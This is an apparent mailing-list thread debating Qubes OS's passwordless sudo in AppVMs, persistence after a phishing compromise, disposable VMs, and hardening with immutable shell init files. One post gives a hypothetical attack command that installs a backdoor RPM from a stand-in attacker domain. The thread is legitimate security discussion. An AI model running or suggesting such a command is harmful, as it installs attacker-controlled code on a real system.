Hypothetical (only sort of):
-Non-disposable VM used for personal email gets phishing attack. Or maybe its code embedded in that kitten wrapped in bacon jpeg.
-Phishing attack (oops) succeeds due to users uncontrollable nature to *click*.
-Attack actually exploits a browser bug executing code. Nothing new.
-Code modifies /usr/bin/audacious or any number of scenarios because it, for all intent and purpose, has root without even having to perform an exploit. All it has to do is sudo or su -.
This code could do something as comical as:
sudo dnf install https://i.ownz.uk/muhbackdoorz.rpm
I am having an extremely difficult time seeing how this is not an issue.
Now keep in mind I am somewhat joking above. No, I would not click on the phishing link but this in no way negates the example. Also I realize that this DomU compromise only compromises it and not the entire system pending a VM escape attack.
How do you deal with this potential scenario?
This part of the file system is not rewritten on every boot. Are you constantly somehow verifying your VM every boot, every 5 minutes, every web page load? Or are you restoring from a backup every boot or worse rebuilding the entire VM from a template every time you need it? Do you just not care that this VM could be under nefarious control and let the perpetrator read your email etc?
What am I missing here that negates the above situation not being far more trivial to perform and dangerous due to the fact there is no locks between "user@domU" and its companion root account?
Anyhow, the concepts Qubes OS is employing are very cool and overall the system seems very well designed to be functional. Great work. But the above item very much has me concerned.
Side note, something like SELinux could add further benefits within both Dom0 and DomU but that is a whole new can of worms. ie: policy that disallows the browser from ever executing code capable of this.
The "open" root behavior seems a little strange to me too. But, thinking coldly, what would change in your scenario if root was protected?
The attacker would not be able to modify /usr/bin/audacious, or install muhbackdoorz to system. But she/he could still delete all your home data, or send it through web, or install something inside home and add it to .bashrc, or ...
Considering all important data in a DomU is owned by one user, and neither root nor the non-root user can leave DomU, the damage caused by any of them seems almost the same.
More info:
https://www.qubes-os.org/doc/vm-sudo/
Regards!
But I think the decision here for passwordless sudo is not cause privilege escalation or non root persistence is trivial. Its because people like my mother are not gonna constantly type their password in dozens of vms, or to update half a dozen templates, all for a layer of security thats considered meaningless to Qubes threat model. In qubes usability is more a factor.
Maybe password for sudo should be an option for people who want it.
why not just use a dispvm or compartmentalize more? I feel that is the purpose of Qubes, To address problem of many trivial security protections.
I hate to use the phrase threat model cause when it pertains to attackers there is no such thing. Everything is in it so the phrase is used wrong. But when it pertains to usability it makes sense to think about it. Especially if Qubes wants more adoption then besides arrogant computer experts lol.
Hi Unman,
Could you explain your setup for collecting mail in one Qube and reading it in another? I currently use Qubes for each mail account, running mutt and offlineimap, and opening links in disposable VMs. But collecting mail in one Qube and reading it in another is interesting to me.
Daniel
oh ok,I'm just a noob so I thought the opposite of a "passwordless sudo" was one with a password lol
Also what does Joanna mean by this statement on that page? " At the same time allowing for easy user-to-root escalation in a VM is simply convenient for users, especially for update installation."
If you are talking about some other form of authentication (sorry I have a hard time following your convo with Uman, 0 timeout period for sudo?) then what would make it inconvenient for users? We already have to hit y or n to update templates.
I still think its more about usability then whats trivial to bypass. And in that case its based on threat model. Sure security is difficult, but its more about controlling yourself then your machine, imo.
But I know you are genius Chris and if there is some method to authenticate to sudo without a password that would not be cumbersome for users I would be for that option.
oh of course I see, that's not so bad at all.
One advantage of having sudo restricted is it reduces the attack foot print to installing a root level compromise on the system which will persist and could then be used as a launch pad for further surveillance and attacks. Root level access also means it could be extremely stealthy which a compromise as user@ would be far less capable of.
The problem is while only my user data has been compromised vs the entire system it is a persistent threat. Every boot its a threat. For all intent and purpose I will have no clue this is sitting there watching me and waiting. Waiting for what? How about another VM escape attack? They have already been exposed and frankly they will continue to be. Or how about a cross-vm row hammer attack? To think that mere isolation via virtualization is enough is, as I think someone above commented, foolhardy.
Personally at this point I would rather remove sudo from the system, grant root a password then have the user "su -". I tried this, other than removing sudo, and it worked until a reboot at which point it recreated the sudoers file and reset the password. The one thing I think would have increased security of the system, was very easy, did not seem to have a negative impact, was erased.
I only skimmed the thread so I apologize for my laziness up front if I missed something but I think a few clarifications need to be made about my experiences thus far. The following statements are with reference to the fedora-24 template which was downloaded 05/10/17.
First I read the reasons for allowing sudo but if VM isolation was enough then frankly there is no point to running SELinux or sudo restrictions on servers and I am going to wager few people would agree with this. While I realize there is a difference here in that no other real people should be on your system the fact is that is precisely what will happen if a DomU is compromised. Just like not trusting the infrastructure you should never trust the unprivileged user accounts as much as possible. This configuration, effectively, makes user@ == root. I could use the argument you might as well run single user or everything as root. The only thing you are really stopping at this point is an attempt to violate MAC as user@ within the DomU.
Second I also read about how you can re-enable a password on sudo and I think, by in large, I understand why this could be problematic to the operations of the system. I will definitely be testing this but if its going to be unsupported I see very little point in doing so. A system which is used for production that becomes unstable in the name of security is border line worse than a less secure system. That is, enabling this could render the system unusable upon updates etc.
Third, adding /usr/bin/evolution remains after a restart of the VM. I dont know if I pressed the "Create a new VM" button wrong or what but its clear the "root filesystem" does not, at least entirely, get rewritten. At least not the above mentioned template. Assuming I didnt zig when I should have zagged, a nasty could copy a file to /usr/bin and it would persist across reboots, upgrades, etc. This could then be easily enabled to start on any app start and run as root. It would also be difficult to detect.
Four, I am aware of disposable VMs but for a working desktop these are of marginal use outside experimentation, malware testing, untrusted web browsing, etc. They are not practical for a work environment where you need persistent configurations, caches, etc. Perhaps this would indicate QubeOS is just not intended or currently a good candidate for such an environment if their use is the expectation which is not how I understood its overall intent.
If I was attacking a QubeOS system I would very likely first start by compromising the DomU's, clearly the largest target to hit, and having direct access via the user with zero restrictions to root is a perfect place to start to plant my "observation rootkit". If I was attacking any system one of the first things I would try is gaining root the easiest way. sudo or su. ie: Engine wont start? Check gas.
It seems obvious to me this will increase security of the system overall. Outside of technical problems I also think the argument for ease of use for the user (ie: patching) is a very weak stance vs the security that would be gained. Perhaps at least having the supported option to "enable sudo password" or probably better "disable sudo and use su only" is of merit.
Anyhow, much appreciate the chat and thanks!
This very well could be the root of my issues and the sudo to root concerns. In creation of the AppVMs I defaulted everything with the exception of the name and selecting the fedora-24 template as opposed to the default fedora-23. I'll verify this soon as I get back to the system. If that is it then a huge apology to the list for the noise based on a bogus observation.
> >
> > Four, I am aware of disposable VMs but for a working desktop these are of marginal use outside experimentation, malware testing, untrusted web browsing, etc. They are not practical for a work environment where you need persistent configurations, caches, etc. Perhaps this would indicate QubeOS is just not intended or currently a good candidate for such an environment if their use is the expectation which is not how I understood its overall intent.
>
> You should read the thread more carefully.
> You are simply wrong about this. Again, more experience in working with
> qubes may change your mind.
> I have set up working desktops for many users where all the heavy lifting
> is performed in disposableVMs, and the persistent qubes are used only
> for storage.
> Look at something like Bromium, which uses the equivalent of
> disposableVMs in a working desktop. It's a viable model and works right
> now.
>
I do need to look at how this would work for my scenario more deeply as its admittedly a paradigm shift but the practicality of maintenance of so many DispVMs seems overwhelming to me and the value of that overhead questionable.
When you mentioned dispvms I was thinking more along the lines of them applying to all of my "work environments". For example, I use a LOT of ssh tunneling and adding the keys and configurations back in every time would be a real pain in the rump. I might post another thread (if one does not exist) asking about managing ssh keys. One thing I played around with in SELinux was the ability for a command to gain access to the keys but nothing else could. That is, X process and Y user were the only ones with access and they would spawn the tunnels other processes and users ended up using.
Regarding my issues with /usr/bin not rewriting it was a standalone vm. (PEBCAK) No idea how but I somehow unintentionally deployed one of the AppVMs as a standalone.
thanks!
I think this thread is now sudo vs doing everything in dispvms? lol well regarding sudo you guys heard about the malware fsybis last year? installs on linux system without root by clicking bad link. persists, keylogs, phones home, spreads. root not required. and I mean what data you got in root directories thats more private then user data?
I guess the argument is that you are protecting dom0 by using sudo in an appvm? Sorry if I;m stating the obvious.
But doing everything in a dispvm? Sure, if someone else sets it up and maintains it for me lol. I'm not gonna bother with the scripts, I use Qubes so I don;t have to read emails in text only mode and implement crazy security measures like selinux or apparmor with grsec, which also have never helped me much before. I gave all that stuff up.
All it takes is one bad click and something I say yes to. It happens to everyone eventually.
On 03/14/2017 07:18 PM, Chris Laprise wrote:
# Protect sh and bash init files
chfiles="/home/user/.bashrc /home/user/.bash_profile /home/user \
/.bash_login /home/user/.bash_logout /home/user/.profile"
touch $chfiles
chown -f root:root $chfiles
chattr +i $chfiles
The line break on that didn't work out (delete space before backslash). Here it is fixed:
https://github.com/tasket/Qubes-VM-hardening/blob/master/rc.local
Also changed to avoid abort of script.
Hi Chris,
How did you handle error message like below when you deny the request of su/sudo using vm-sudo :
[user@fedora-24 pam.d]$ su
/usr/lib/qubes/qrexec-client-vm failed: exit code 1
su: System error
[user@fedora-24 pam.d]$ sudo dnf update
/usr/lib/qubes/qrexec-client-vm failed: exit code 1
sudo: PAM authentication error: System error
Is there any method to put something like 'permission denied'
message instead of the message above?